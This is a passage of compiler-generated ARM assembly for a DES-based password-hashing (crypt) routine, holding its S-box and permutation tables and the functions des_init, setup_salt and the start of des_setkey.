.ascii "\001\001\002\002\002\002\002\002\001\002\002\002\002"
.ascii "\002\002\001"
.local inv_comp_perm
.comm inv_comp_perm,56,4
.align 2
.type comp_perm, %object
.size comp_perm, 48
comp_perm:
.ascii "\016\021\013\030\001\005\003\034\017\006\025\012\027"
.ascii "\023\014\004\032\010\020\007\033\024\015\002)4\037%"
.ascii "/7\036(3-!0,1'8\"5.*2$\035 "
.local u_sbox
.comm u_sbox,512,4
.align 2
.type sbox, %object
.size sbox, 512
sbox:
.ascii "\016\004\015\001\002\017\013\010\003\012\006\014\005"
.ascii "\011\000\007\000\017\007\004\016\002\015\001\012\006"
.ascii "\014\013\011\005\003\010\004\001\016\010\015\006\002"
.ascii "\013\017\014\011\007\003\012\005\000\017\014\010\002"
.ascii "\004\011\001\007\005\013\003\016\012\000\006\015"
.ascii "\017\001\010\016\006\013\003\004\011\007\002\015\014"
.ascii "\000\005\012\003\015\004\007\017\002\010\016\014\000"
.ascii "\001\012\006\011\013\005\000\016\007\013\012\004\015"
.ascii "\001\005\010\014\006\011\003\002\017\015\010\012\001"
.ascii "\003\017\004\002\013\006\007\014\000\005\016\011"
.ascii "\012\000\011\016\006\003\017\005\001\015\014\007\013"
.ascii "\004\002\010\015\007\000\011\003\004\006\012\002\010"
.ascii "\005\016\014\013\017\001\015\006\004\011\010\017\003"
.ascii "\000\013\001\002\014\005\012\016\007\001\012\015\000"
.ascii "\006\011\010\007\004\017\016\003\013\005\002\014"
.ascii "\007\015\016\003\000\006\011\012\001\002\010\005\013"
.ascii "\014\004\017\015\010\013\005\006\017\000\003\004\007"
.ascii "\002\014\001\012\016\011\012\006\011\000\014\013\007"
.ascii "\015\017\001\003\016\005\002\010\004\003\017\000\006"
.ascii "\012\001\015\010\011\004\005\013\014\007\002\016"
.ascii "\002\014\004\001\007\012\013\006\010\005\003\017\015"
.ascii "\000\016\011\016\013\002\014\004\007\015\001\005\000"
.ascii "\017\012\003\011\010\006\004\002\001\013\012\015\007"
.ascii "\010\017\011\014\005\006\003\000\016\013\010\014\007"
.ascii "\001\016\002\015\006\017\000\011\012\004\005\003"
.ascii "\014\001\012\017\011\002\006\010\000\015\003\004\016"
.ascii "\007\005\013\012\017\004\002\007\014\011\005\006\001"
.ascii "\015\016\000\013\003\010\011\016\017\005\002\010\014"
.ascii "\003\007\000\004\012\001\015\013\006\004\003\002\014"
.ascii "\011\005\017\012\013\016\001\007\006\000\010\015"
.ascii "\004\013\002\016\017\000\010\015\003\014\011\007\005"
.ascii "\012\006\001\015\000\013\007\004\011\001\012\016\003"
.ascii "\005\014\002\017\010\006\001\004\013\015\014\003\007"
.ascii "\016\012\017\006\010\000\005\011\002\006\013\015\010"
.ascii "\001\004\012\007\011\005\000\017\016\002\003\014"
.ascii "\015\002\010\004\006\017\013\001\012\011\003\016\005"
.ascii "\000\014\007\001\017\015\010\012\003\007\004\014\005"
.ascii "\006\013\000\016\011\002\007\013\004\001\011\014\016"
.ascii "\002\000\006\012\015\017\003\005\010\002\001\016\007"
.ascii "\004\012\010\015\017\014\011\000\003\005\006\013"
.local un_pbox
.comm un_pbox,32,4
.align 2
.type pbox, %object
.size pbox, 32
pbox:
.ascii "\020\007\024\025\035\014\034\021\001\017\027\032\005"
.ascii "\022\037\012\002\010\030\016 \033\003\011\023\015\036"
.ascii "\006\026\013\004\031"
.align 2
.type bits32, %object
.size bits32, 128
bits32:
.word -2147483648
.word 1073741824
.word 536870912
.word 268435456
.word 134217728
.word 67108864
.word 33554432
.word 16777216
.word 8388608
.word 4194304
.word 2097152
.word 1048576
.word 524288
.word 262144
.word 131072
.word 65536
.word 32768
.word 16384
.word 8192
.word 4096
.word 2048
.word 1024
.word 512
.word 256
.word 128
.word 64
.word 32
.word 16
.word 8
.word 4
.word 2
.word 1
.align 2
.type bits8, %object
.size bits8, 8
bits8:
.ascii "\200@ \020\010\004\002\001"
.local saltbits
.comm saltbits,4,4
.local old_salt
.comm old_salt,4,4
.local bits28
.comm bits28,4,4
.local bits24
.comm bits24,4,4
.local init_perm
.comm init_perm,64,4
.local final_perm
.comm final_perm,64,4
.local en_keysl
.comm en_keysl,64,4
.local en_keysr
.comm en_keysr,64,4
.local de_keysl
.comm de_keysl,64,4
.local de_keysr
.comm de_keysr,64,4
.local des_initialised
.comm des_initialised,4,4
.local m_sbox
.comm m_sbox,16384,4
.local psbox
.comm psbox,4096,4
.local ip_maskl
.comm ip_maskl,8192,4
.local ip_maskr
.comm ip_maskr,8192,4
.local fp_maskl
.comm fp_maskl,8192,4
.local fp_maskr
.comm fp_maskr,8192,4
.local key_perm_maskl
.comm key_perm_maskl,4096,4
.local key_perm_maskr
.comm key_perm_maskr,4096,4
.local comp_maskl
.comm comp_maskl,4096,4
.local comp_maskr
.comm comp_maskr,4096,4
.local old_rawkey0
.comm old_rawkey0,4,4
.local old_rawkey1
.comm old_rawkey1,4,4
.align 2
.type ascii64, %object
.size ascii64, 65
ascii64:
.ascii "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"
.ascii "nopqrstuvwxyz\000"
.text
.align 2
.syntax unified
.arm
.fpu softvfp
.type ascii_to_bin, %function
ascii_to_bin:
@ args = 0, pretend = 0, frame = 8
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #12
mov r3, r0
strb r3, [fp, #-8]
ldrb r3, [fp, #-8] @ zero_extendqisi2
cmp r3, #122
bls .L2
mov r3, #0
b .L3
.L2:
ldrb r3, [fp, #-8] @ zero_extendqisi2
cmp r3, #96
bls .L4
ldrb r3, [fp, #-8] @ zero_extendqisi2
sub r3, r3, #59
b .L3
.L4:
ldrb r3, [fp, #-8] @ zero_extendqisi2
cmp r3, #90
bls .L5
mov r3, #0
b .L3
.L5:
ldrb r3, [fp, #-8] @ zero_extendqisi2
cmp r3, #64
bls .L6
ldrb r3, [fp, #-8] @ zero_extendqisi2
sub r3, r3, #53
b .L3
.L6:
ldrb r3, [fp, #-8] @ zero_extendqisi2
cmp r3, #57
bls .L7
mov r3, #0
b .L3
.L7:
ldrb r3, [fp, #-8] @ zero_extendqisi2
cmp r3, #45
bls .L8
ldrb r3, [fp, #-8] @ zero_extendqisi2
sub r3, r3, #46
b .L3
.L8:
mov r3, #0
.L3:
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size ascii_to_bin, .-ascii_to_bin
.align 2
.syntax unified
.arm
.fpu softvfp
.type des_init, %function
des_init:
@ args = 0, pretend = 0, frame = 48
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #52
ldr r3, .L59
mov r2, #0
str r2, [r3]
ldr r3, .L59
ldr r3, [r3]
ldr r2, .L59+4
str r3, [r2]
ldr r3, .L59+8
mov r2, #0
str r2, [r3]
ldr r3, .L59+12
mov r2, #0
str r2, [r3]
ldr r2, .L59+16
ldr r3, .L59+20
str r2, [r3]
ldr r3, .L59+20
ldr r3, [r3]
add r3, r3, #16
ldr r2, .L59+24
str r3, [r2]
mov r3, #0
str r3, [fp, #-48]
b .L10
.L13:
mov r3, #0
str r3, [fp, #-44]
b .L11
.L12:
ldr r3, [fp, #-44]
and r2, r3, #32
ldr r3, [fp, #-44]
lsl r3, r3, #4
and r3, r3, #16
orr r2, r2, r3
ldr r3, [fp, #-44]
asr r3, r3, #1
and r3, r3, #15
orr r3, r2, r3
str r3, [fp, #-40]
ldr r2, .L59+28
ldr r3, [fp, #-48]
lsl r3, r3, #6
add r2, r2, r3
ldr r3, [fp, #-40]
add r3, r2, r3
ldrb r1, [r3] @ zero_extendqisi2
ldr r2, .L59+32
ldr r3, [fp, #-48]
lsl r3, r3, #6
add r2, r2, r3
ldr r3, [fp, #-44]
add r3, r2, r3
mov r2, r1
strb r2, [r3]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L11:
ldr r3, [fp, #-44]
cmp r3, #63
ble .L12
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L10:
ldr r3, [fp, #-48]
cmp r3, #7
ble .L13
mov r3, #0
str r3, [fp, #-40]
b .L14
.L19:
mov r3, #0
str r3, [fp, #-48]
b .L15
.L18:
mov r3, #0
str r3, [fp, #-44]
b .L16
.L17:
ldr r3, [fp, #-40]
lsl r3, r3, #1
ldr r2, .L59+32
lsl r3, r3, #6
add r2, r2, r3
ldr r3, [fp, #-48]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #4
lsl r3, r3, #24
asr r2, r3, #24
ldr r3, [fp, #-40]
lsl r3, r3, #1
add r3, r3, #1
ldr r1, .L59+32
lsl r3, r3, #6
add r1, r1, r3
ldr r3, [fp, #-44]
add r3, r1, r3
ldrb r3, [r3] @ zero_extendqisi2
lsl r3, r3, #24
asr r3, r3, #24
orr r3, r2, r3
lsl r3, r3, #24
asr r2, r3, #24
ldr r3, [fp, #-48]
lsl r1, r3, #6
ldr r3, [fp, #-44]
orr r3, r1, r3
and r0, r2, #255
ldr r1, .L59+36
ldr r2, [fp, #-40]
lsl r2, r2, #12
add r2, r1, r2
add r3, r2, r3
mov r2, r0
strb r2, [r3]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L16:
ldr r3, [fp, #-44]
cmp r3, #63
ble .L17
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L15:
ldr r3, [fp, #-48]
cmp r3, #63
ble .L18
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L14:
ldr r3, [fp, #-40]
cmp r3, #3
ble .L19
mov r3, #0
str r3, [fp, #-48]
b .L20
.L21:
ldr r2, .L59+40
ldr r3, [fp, #-48]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
sub r3, r3, #1
and r1, r3, #255
ldr r2, .L59+44
ldr r3, [fp, #-48]
add r3, r2, r3
mov r2, r1
strb r2, [r3]
ldr r2, .L59+44
ldr r3, [fp, #-48]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-48]
and r1, r3, #255
ldr r3, .L59+48
strb r1, [r3, r2]
ldr r2, .L59+52
ldr r3, [fp, #-48]
add r3, r2, r3
mvn r2, #0
strb r2, [r3]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L20:
ldr r3, [fp, #-48]
cmp r3, #63
ble .L21
mov r3, #0
str r3, [fp, #-48]
b .L22
.L23:
ldr r2, .L59+56
ldr r3, [fp, #-48]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
sub r3, r3, #1
ldr r2, [fp, #-48]
and r1, r2, #255
ldr r2, .L59+52
strb r1, [r2, r3]
ldr r2, .L59+60
ldr r3, [fp, #-48]
add r3, r2, r3
mvn r2, #0
strb r2, [r3]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L22:
ldr r3, [fp, #-48]
cmp r3, #55
ble .L23
mov r3, #0
str r3, [fp, #-48]
b .L24
.L25:
ldr r2, .L59+64
ldr r3, [fp, #-48]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
sub r3, r3, #1
ldr r2, [fp, #-48]
and r1, r2, #255
ldr r2, .L59+60
strb r1, [r2, r3]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L24:
ldr r3, [fp, #-48]
cmp r3, #47
ble .L25
mov r3, #0
str r3, [fp, #-36]
b .L26
.L47:
mov r3, #0
str r3, [fp, #-48]
b .L27
.L34:
ldr r3, [fp, #-36]
lsl r2, r3, #8
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+68
add r3, r3, r2
str r3, [fp, #-28]
ldr r3, [fp, #-28]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-36]
lsl r2, r3, #8
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+72
add r3, r3, r2
str r3, [fp, #-24]
ldr r3, [fp, #-24]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-36]
lsl r2, r3, #8
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+76
add r3, r3, r2
str r3, [fp, #-12]
ldr r3, [fp, #-12]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-36]
lsl r2, r3, #8
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+80
add r3, r3, r2
str r3, [fp, #-8]
ldr r3, [fp, #-8]
mov r2, #0
str r2, [r3]
mov r3, #0
str r3, [fp, #-44]
b .L28
.L33:
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-20]
ldr r2, .L59+84
ldr r3, [fp, #-44]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-48]
and r3, r3, r2
cmp r3, #0
beq .L29
ldr r2, .L59+48
ldr r3, [fp, #-20]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #31
bgt .L30
ldr r3, [fp, #-28]
ldr r2, [r3]
ldr r1, .L59+88
ldr r3, [fp, #-16]
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-28]
str r2, [r3]
b .L31
.L30:
ldr r3, [fp, #-24]
ldr r2, [r3]
ldr r3, [fp, #-16]
sub r3, r3, #32
ldr r1, .L59+88
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
str r2, [r3]
.L31:
ldr r2, .L59+44
ldr r3, [fp, #-20]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #31
bgt .L32
ldr r3, [fp, #-12]
ldr r2, [r3]
ldr r1, .L59+88
ldr r3, [fp, #-16]
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-12]
str r2, [r3]
b .L29
.L32:
ldr r3, [fp, #-8]
ldr r2, [r3]
ldr r3, [fp, #-16]
sub r3, r3, #32
ldr r1, .L59+88
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
str r2, [r3]
.L29:
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L28:
ldr r3, [fp, #-44]
cmp r3, #7
ble .L33
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L27:
ldr r3, [fp, #-48]
cmp r3, #255
ble .L34
mov r3, #0
str r3, [fp, #-48]
b .L35
.L46:
ldr r3, [fp, #-36]
lsl r2, r3, #7
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+92
add r3, r3, r2
str r3, [fp, #-28]
ldr r3, [fp, #-28]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-36]
lsl r2, r3, #7
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+96
add r3, r3, r2
str r3, [fp, #-24]
ldr r3, [fp, #-24]
mov r2, #0
str r2, [r3]
mov r3, #0
str r3, [fp, #-44]
b .L36
.L40:
ldr r3, [fp, #-36]
lsl r3, r3, #3
ldr r2, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-44]
add r3, r3, #1
ldr r2, .L59+84
ldrb r3, [r2, r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-48]
and r3, r3, r2
cmp r3, #0
beq .L37
ldr r2, .L59+52
ldr r3, [fp, #-20]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #255
beq .L57
ldr r3, [fp, #-16]
cmp r3, #27
bgt .L39
ldr r3, [fp, #-28]
ldr r2, [r3]
ldr r3, .L59+20
ldr r1, [r3]
ldr r3, [fp, #-16]
lsl r3, r3, #2
add r3, r1, r3
ldr r3, [r3]
orr r2, r2, r3
ldr r3, [fp, #-28]
str r2, [r3]
b .L37
.L39:
ldr r3, [fp, #-24]
ldr r2, [r3]
ldr r3, .L59+20
ldr r1, [r3]
ldr r3, [fp, #-16]
sub r3, r3, #-1073741796
lsl r3, r3, #2
add r3, r1, r3
ldr r3, [r3]
orr r2, r2, r3
ldr r3, [fp, #-24]
str r2, [r3]
b .L37
.L57:
nop
.L37:
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L36:
ldr r3, [fp, #-44]
cmp r3, #6
ble .L40
ldr r3, [fp, #-36]
lsl r2, r3, #7
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+100
add r3, r3, r2
str r3, [fp, #-28]
ldr r3, [fp, #-28]
mov r2, #0
str r2, [r3]
ldr r3, [fp, #-36]
lsl r2, r3, #7
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+104
add r3, r3, r2
str r3, [fp, #-24]
ldr r3, [fp, #-24]
mov r2, #0
str r2, [r3]
mov r3, #0
str r3, [fp, #-44]
b .L41
.L45:
ldr r2, [fp, #-36]
mov r3, r2
lsl r3, r3, #3
sub r3, r3, r2
ldr r2, [fp, #-44]
add r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-44]
add r3, r3, #1
ldr r2, .L59+84
ldrb r3, [r2, r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-48]
and r3, r3, r2
cmp r3, #0
beq .L42
ldr r2, .L59+60
ldr r3, [fp, #-20]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
str r3, [fp, #-16]
ldr r3, [fp, #-16]
cmp r3, #255
beq .L58
ldr r3, [fp, #-16]
cmp r3, #23
bgt .L44
ldr r3, [fp, #-28]
ldr r2, [r3]
ldr r3, .L59+24
ldr r1, [r3]
ldr r3, [fp, #-16]
lsl r3, r3, #2
add r3, r1, r3
ldr r3, [r3]
orr r2, r2, r3
ldr r3, [fp, #-28]
str r2, [r3]
b .L42
.L44:
ldr r3, [fp, #-24]
ldr r2, [r3]
ldr r3, .L59+24
ldr r1, [r3]
ldr r3, [fp, #-16]
sub r3, r3, #-1073741800
lsl r3, r3, #2
add r3, r1, r3
ldr r3, [r3]
orr r2, r2, r3
ldr r3, [fp, #-24]
str r2, [r3]
b .L42
.L58:
nop
.L42:
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L41:
ldr r3, [fp, #-44]
cmp r3, #6
ble .L45
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L35:
ldr r3, [fp, #-48]
cmp r3, #127
ble .L46
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L26:
ldr r3, [fp, #-36]
cmp r3, #7
ble .L47
mov r3, #0
str r3, [fp, #-48]
b .L48
.L49:
ldr r2, .L59+108
ldr r3, [fp, #-48]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
sub r3, r3, #1
ldr r2, [fp, #-48]
and r1, r2, #255
ldr r2, .L59+112
strb r1, [r2, r3]
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L48:
ldr r3, [fp, #-48]
cmp r3, #31
ble .L49
mov r3, #0
str r3, [fp, #-40]
b .L50
.L56:
mov r3, #0
str r3, [fp, #-48]
b .L51
.L55:
ldr r3, [fp, #-40]
lsl r2, r3, #8
ldr r3, [fp, #-48]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, .L59+116
add r3, r3, r2
str r3, [fp, #-32]
ldr r3, [fp, #-32]
mov r2, #0
str r2, [r3]
mov r3, #0
str r3, [fp, #-44]
b .L52
.L54:
ldr r2, .L59+84
ldr r3, [fp, #-44]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-48]
and r3, r3, r2
cmp r3, #0
beq .L53
ldr r3, [fp, #-32]
ldr r2, [r3]
ldr r3, [fp, #-40]
lsl r1, r3, #3
ldr r3, [fp, #-44]
add r3, r1, r3
ldr r1, .L59+112
ldrb r3, [r1, r3] @ zero_extendqisi2
mov r1, r3
ldr r3, .L59+88
ldr r3, [r3, r1, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-32]
str r2, [r3]
.L53:
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-44]
.L52:
ldr r3, [fp, #-44]
cmp r3, #7
ble .L54
ldr r3, [fp, #-48]
add r3, r3, #1
str r3, [fp, #-48]
.L51:
ldr r3, [fp, #-48]
cmp r3, #255
ble .L55
ldr r3, [fp, #-40]
add r3, r3, #1
str r3, [fp, #-40]
.L50:
ldr r3, [fp, #-40]
cmp r3, #3
ble .L56
ldr r3, .L59+120
mov r2, #1
str r2, [r3]
nop
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L60:
.align 2
.L59:
.word old_rawkey1
.word old_rawkey0
.word saltbits
.word old_salt
.word bits32+16
.word bits28
.word bits24
.word sbox
.word u_sbox
.word m_sbox
.word IP
.word final_perm
.word init_perm
.word inv_key_perm
.word key_perm
.word inv_comp_perm
.word comp_perm
.word ip_maskl
.word ip_maskr
.word fp_maskl
.word fp_maskr
.word bits8
.word bits32
.word key_perm_maskl
.word key_perm_maskr
.word comp_maskl
.word comp_maskr
.word pbox
.word un_pbox
.word psbox
.word des_initialised
.size des_init, .-des_init
.align 2
.syntax unified
.arm
.fpu softvfp
.type setup_salt, %function
setup_salt:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-24]
ldr r3, .L68
ldr r3, [r3]
ldr r2, [fp, #-24]
cmp r2, r3
beq .L67
ldr r2, .L68
ldr r3, [fp, #-24]
str r3, [r2]
ldr r3, .L68+4
mov r2, #0
str r2, [r3]
mov r3, #1
str r3, [fp, #-12]
mov r3, #8388608
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-8]
b .L64
.L66:
ldr r2, [fp, #-24]
ldr r3, [fp, #-12]
and r3, r3, r2
cmp r3, #0
beq .L65
ldr r3, .L68+4
ldr r2, [r3]
ldr r3, [fp, #-16]
orr r3, r2, r3
ldr r2, .L68+4
str r3, [r2]
.L65:
ldr r3, [fp, #-12]
lsl r3, r3, #1
str r3, [fp, #-12]
ldr r3, [fp, #-16]
lsr r3, r3, #1
str r3, [fp, #-16]
ldr r3, [fp, #-8]
add r3, r3, #1
str r3, [fp, #-8]
.L64:
ldr r3, [fp, #-8]
cmp r3, #23
ble .L66
b .L61
.L67:
nop
.L61:
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.L69:
.align 2
.L68:
.word old_salt
.word saltbits
.size setup_salt, .-setup_salt
.align 2
.syntax unified
.arm
.fpu softvfp
.type des_setkey, %function
des_setkey:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #40
str r0, [fp, #-40]
ldr r3, .L76
ldr r3, [r3]
cmp r3, #0
bne .L71
bl des_init
.L71:
ldr r3, [fp, #-40]
ldr r3, [r3]
mov r0, r3
bl md_ntohl
mov r3, r0
str r3, [fp, #-28]
ldr r3, [fp, #-40]
add r3, r3, #4
ldr r3, [r3]
mov r0, r3
bl md_ntohl
mov r3, r0
str r3, [fp, #-24]
ldr r2, [fp, #-28]
ldr r3, [fp, #-24]
orr r3, r2, r3
cmp r3, #0
beq .L72
ldr r3, .L76+4
ldr r3, [r3]
ldr r2, [fp, #-28]
cmp r2, r3
bne .L72
ldr r3, .L76+8
ldr r3, [r3]
ldr r2, [fp, #-24]
cmp r2, r3
bne .L72
mov r3, #0
b .L73
.L72:
ldr r2, .L76+4
ldr r3, [fp, #-28]
str r3, [r2]
ldr r2, .L76+8
ldr r3, [fp, #-24]
str r3, [r2]
ldr r3, [fp, #-28]
lsr r3, r3, #25
ldr r2, .L76+12
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-28]
lsr r3, r3, #17
and r3, r3, #127
ldr r1, .L76+12
add r3, r3, #128
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-28]
lsr r3, r3, #9
and r3, r3, #127
ldr r1, .L76+12
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-28]
lsr r3, r3, #1
and r3, r3, #127
ldr r1, .L76+12
add r3, r3, #384
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
lsr r3, r3, #25
ldr r1, .L76+12
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
lsr r3, r3, #17
and r3, r3, #127
ldr r1, .L76+12
add r3, r3, #640
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
lsr r3, r3, #9
and r3, r3, #127
ldr r1, .L76+12
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
lsr r3, r3, #1
and r3, r3, #127
ldr r1, .L76+12
add r3, r3, #896
ldr r3, [r1, r3, lsl #2]
orr r3, r2, r3
str r3, [fp, #-20]
ldr r3, [fp, #-28]
lsr r3, r3, #25
ldr r2, .L76+16
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-28]
lsr r3, r3, #17
and r3, r3, #127
ldr r1, .L76+16
add r3, r3, #128
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-28]
lsr r3, r3, #9
and r3, r3, #127
ldr r1, .L76+16
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-28]
lsr r3, r3, #1
and r3, r3, #127
ldr r1, .L76+16
add r3, r3, #384
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
lsr r3, r3, #25
ldr r1, .L76+16
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
lsr r3, r3, #17
and r3, r3, #127
ldr r1, .L76+16
add r3, r3, #640
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
lsr r3, r3, #9
and r3, r3, #127
ldr r1, .L76+16
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-24]
lsr r3, r3, #1
and r3, r3, #127
ldr r1, .L76+16
add r3, r3, #896
ldr r3, [r1, r3, lsl #2]
orr r3, r2, r3
str r3, [fp, #-16]
mov r3, #0
str r3, [fp, #-36]
mov r3, #0
str r3, [fp, #-32]
b .L74
.L75:
ldr r2, .L76+20
ldr r3, [fp, #-32]
add r3, r2, r3
ldrb r3, [r3] @ zero_extendqisi2
mov r2, r3
ldr r3, [fp, #-36]
add r3, r3, r2
str r3, [fp, #-36]
ldr r2, [fp, #-20]
ldr r3, [fp, #-36]
lsl r2, r2, r3
ldr r3, [fp, #-36]
rsb r3, r3, #28
ldr r1, [fp, #-20]
lsr r3, r1, r3
orr r3, r2, r3
str r3, [fp, #-12]
ldr r2, [fp, #-16]
ldr r3, [fp, #-36]
lsl r2, r2, r3
ldr r3, [fp, #-36]
rsb r3, r3, #28
ldr r1, [fp, #-16]
lsr r3, r1, r3
orr r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-12]
lsr r3, r3, #21
and r3, r3, #127
ldr r2, .L76+24
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-12]
lsr r3, r3, #14
and r3, r3, #127
ldr r1, .L76+24
add r3, r3, #128
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-12]
lsr r3, r3, #7
and r3, r3, #127
ldr r1, .L76+24
add r3, r3, #256
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-12]
and r3, r3, #127
ldr r1, .L76+24
add r3, r3, #384
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
lsr r3, r3, #21
and r3, r3, #127
ldr r1, .L76+24
add r3, r3, #512
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
lsr r3, r3, #14
and r3, r3, #127
ldr r1, .L76+24
add r3, r3, #640
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
lsr r3, r3, #7
and r3, r3, #127
ldr r1, .L76+24
add r3, r3, #768
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-8]
and r3, r3, #127
ldr r1, .L76+24
add r3, r3, #896
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r1, .L76+28
ldr r3, [fp, #-32]
str r2, [r1, r3, lsl #2]
ldr r3, [fp, #-32]
rsb r3, r3, #15
ldr r1, .L76+28
ldr r2, [fp, #-32]
ldr r2, [r1, r2, lsl #2]
ldr r1, .L76+32
str r2, [r1, r3, lsl #2]
ldr r3, [fp, #-12]
lsr r3, r3, #21
and r3, r3, #127
ldr r2, .L76+36
ldr r2, [r2, r3, lsl #2]
ldr r3, [fp, #-12]
lsr r3, r3, #14
and r3, r3, #127
ldr r1, .L76+36
add r3, r3, #128
ldr r3, [r1, r3, lsl #2]
orr r2, r2, r3
ldr r3, [fp, #-12]
lsr r3, r3, #7
